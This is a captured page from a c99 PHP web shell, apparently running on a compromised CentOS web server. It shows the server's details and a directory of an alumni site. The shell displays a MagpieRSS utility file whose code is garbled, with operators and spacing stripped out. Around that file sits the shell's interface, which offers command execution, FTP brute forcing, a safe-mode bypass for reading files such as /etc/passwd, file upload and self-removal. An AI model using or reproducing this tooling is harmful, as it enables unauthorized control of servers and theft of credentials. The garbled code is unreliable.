!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/inc/magpie/   drwxr-xr-x
Free 50.98 GB of 127.8 GB (39.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rss_utils.inc (2.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Project:     MagpieRSS: a simple RSS integration tool
 * File:        rss_utils.inc, utility methods for working with RSS
 * Author:      Kellan Elliott-McCrea <kellan@protest.net>
 * Version:     0.51
 * License:     GPL
 *
 * The lastest version of MagpieRSS can be obtained from:
 * http://magpierss.sourceforge.net
 *
 * For questions, help, comments, discussion, etc., please join the
 * Magpie mailing list:
 * magpierss-general@lists.sourceforge.net
 */


/*======================================================================*\
    Function: parse_w3cdtf
    Purpose:  parse a W3CDTF date into unix epoch

    NOTE: http://www.w3.org/TR/NOTE-datetime
\*======================================================================*/

function parse_w3cdtf $date_str ) {
    
    
# regex to match wc3dtf
    
$pat "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?(?:([-+])(\d{2}):?(\d{2})|(Z))?/";
    
    if ( 
preg_match$pat$date_str$match ) ) {
        list( 
$year$month$day$hours$minutes$seconds) = 
            array( 
$match[1], $match[2], $match[3], $match[4], $match[5], $match[6]);
        
        
# calc epoch for current date assuming GMT
        
$epoch gmmktime$hours$minutes$seconds$month$day$year);
        
        
$offset 0;
        if ( 
$match[10] == 'Z' ) {
            
# zulu time, aka GMT
        
}
        else {
            list( 
$tz_mod$tz_hour$tz_min ) =
                array( 
$match[8], $match[9], $match[10]);
            
            
# zero out the variables
            
if ( ! $tz_hour ) { $tz_hour 0; }
            if ( ! 
$tz_min ) { $tz_min 0; }
        
            
$offset_secs = (($tz_hour*60)+$tz_min)*60;
            
            
# is timezone ahead of GMT?  then subtract offset
            #
            
if ( $tz_mod == '+' ) {
                
$offset_secs $offset_secs * -1;
            }
            
            
$offset $offset_secs
        }
        
$epoch $epoch $offset;
        return 
$epoch;
    }
    else {
        return -
1;
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0129 ]--